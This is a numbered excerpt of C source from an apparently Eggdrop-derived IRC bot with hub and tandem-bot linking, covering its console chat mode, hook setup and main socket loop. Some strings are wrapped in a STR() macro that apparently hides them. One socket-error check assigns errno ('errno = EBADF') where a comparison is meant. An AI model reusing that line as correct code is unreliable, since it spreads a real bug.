  1592. #ifdef CYGWIN_HACKS
  1593. FreeConsole();
  1594. #endif /* CYGWIN_HACKS */
  1595. }
  1596. /* Terminal emulating dcc chat */
  1597. if (!backgrd && term_z) {
  1598. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  1599. dcc[n].addr = iptolong(getmyip());
  1600. dcc[n].sock = STDOUT;
  1601. dcc[n].timeval = now;
  1602. dcc[n].u.chat->con_flags = conmask;
  1603. dcc[n].u.chat->strip_flags = STRIP_ALL;
  1604. dcc[n].status = STAT_ECHO;
  1605. strcpy(dcc[n].nick, "HQ");
  1606. strcpy(dcc[n].host, "llama@console");
  1607. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1608. /* Make sure there's an innocuous HQ user if needed */
  1609. if (!dcc[n].user) {
  1610. userlist = adduser(userlist, "HQ", "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA);
  1611. dcc[n].user = get_user_by_handle(userlist, "HQ");
  1612. }
  1613. setsock(STDOUT, 0); /* Entry in net table */
  1614. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  1615. dcc_chatter(n);
  1616. }
  1617. then = now;
  1618. online_since = now;
  1619. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  1620. add_hook(HOOK_SECONDLY, (Function) core_secondly);
  1621. add_hook(HOOK_10SECONDLY, (Function) core_10secondly);
  1622. add_hook(HOOK_MINUTELY, (Function) core_minutely);
  1623. add_hook(HOOK_HOURLY, (Function) core_hourly);
  1624. add_hook(HOOK_REHASH, (Function) event_rehash);
  1625. add_hook(HOOK_PRE_REHASH, (Function) event_prerehash);
  1626. add_hook(HOOK_USERFILE, (Function) event_save);
  1627. #ifdef HUB
  1628. add_hook(HOOK_BACKUP, (Function) backup_userfile);
  1629. #endif /* HUB */
  1630. add_hook(HOOK_DAILY, (Function) event_resettraffic);
  1631. add_hook(HOOK_LOADED, (Function) event_loaded);
  1632. call_hook(HOOK_LOADED);
  1633. debug0(STR("main: entering loop"));
  1634. while (1) {
  1635. int socket_cleanup = 0;
  1636. /* Process a single tcl event */
  1637. Tcl_DoOneEvent(TCL_ALL_EVENTS | TCL_DONT_WAIT);
  1638. /* Lets move some of this here, reducing the numer of actual
  1639. * calls to periodic_timers
  1640. */
  1641. #ifdef S_UTCTIME
  1642. now_tmp = time(NULL);
  1643. now = mktime(gmtime(&now_tmp));
  1644. #else
  1645. now = time(NULL);
  1646. #endif /* S_UTCTIME */
  1647. random(); /* Woop, lets really jumble things */
  1648. if (now != then) { /* Once a second */
  1649. call_hook(HOOK_SECONDLY);
  1650. then = now;
  1651. }
  1652. /* Only do this every so often. */
  1653. if (!socket_cleanup) {
  1654. socket_cleanup = 5;
  1655. /* Remove dead dcc entries. */
  1656. dcc_remove_lost();
  1657. /* Check for server or dcc activity. */
  1658. dequeue_sockets();
  1659. } else
  1660. socket_cleanup--;
  1661. /* Free unused structures. */
  1662. garbage_collect();
  1663. xx = sockgets(buf, &i);
  1664. if (xx >= 0) { /* Non-error */
  1665. int idx;
  1666. for (idx = 0; idx < dcc_total; idx++)
  1667. if (dcc[idx].sock == xx) {
  1668. if (dcc[idx].type && dcc[idx].type->activity) {
  1669. /* Traffic stats */
  1670. if (dcc[idx].type->name) {
  1671. if (!strncmp(dcc[idx].type->name, "BOT", 3))
  1672. itraffic_bn_today += strlen(buf) + 1;
  1673. else if (!strcmp(dcc[idx].type->name, "SERVER"))
  1674. itraffic_irc_today += strlen(buf) + 1;
  1675. else if (!strncmp(dcc[idx].type->name, "CHAT", 4))
  1676. itraffic_dcc_today += strlen(buf) + 1;
  1677. else if (!strncmp(dcc[idx].type->name, "FILES", 5))
  1678. itraffic_dcc_today += strlen(buf) + 1;
  1679. else if (!strcmp(dcc[idx].type->name, "SEND"))
  1680. itraffic_trans_today += strlen(buf) + 1;
  1681. else if (!strncmp(dcc[idx].type->name, "GET", 3))
  1682. itraffic_trans_today += strlen(buf) + 1;
  1683. else
  1684. itraffic_unknown_today += strlen(buf) + 1;
  1685. }
  1686. dcc[idx].type->activity(idx, buf, i);
  1687. } else
  1688. putlog(LOG_MISC, "*",
  1689. "!!! untrapped dcc activity: type %s, sock %d",
  1690. dcc[idx].type->name, dcc[idx].sock);
  1691. break;
  1692. }
  1693. } else if (xx == -1) { /* EOF from someone */
  1694. int idx;
  1695. if (i == STDOUT && !backgrd)
  1696. fatal(STR("END OF FILE ON TERMINAL"), 0);
  1697. for (idx = 0; idx < dcc_total; idx++)
  1698. if (dcc[idx].sock == i) {
  1699. if (dcc[idx].type && dcc[idx].type->eof)
  1700. dcc[idx].type->eof(idx);
  1701. else {
  1702. putlog(LOG_MISC, "*",
  1703. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1704. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1705. killsock(i);
  1706. lostdcc(idx);
  1707. }
  1708. idx = dcc_total + 1;
  1709. }
  1710. if (idx == dcc_total) {
  1711. putlog(LOG_MISC, "*",
  1712. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1713. close(i);
  1714. killsock(i);
  1715. }
  1716. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1717. putlog(LOG_MISC, "*", STR("* Socket error #%d; recovering."), errno);
  1718. for (i = 0; i < dcc_total; i++) {
  1719. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1720. putlog(LOG_MISC, "*",
  1721. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1722. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1723. killsock(dcc[i].sock);
  1724. lostdcc(i);
  1725. i--;
  1726. }
  1727. }
  1728. } else if (xx == -3) {
  1729. call_hook(HOOK_IDLE);
  1730. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1731. }
  1732. if (do_restart) {
  1733. rehash();
  1734. do_restart = 0;
  1735. }
  1736. }
  1737. }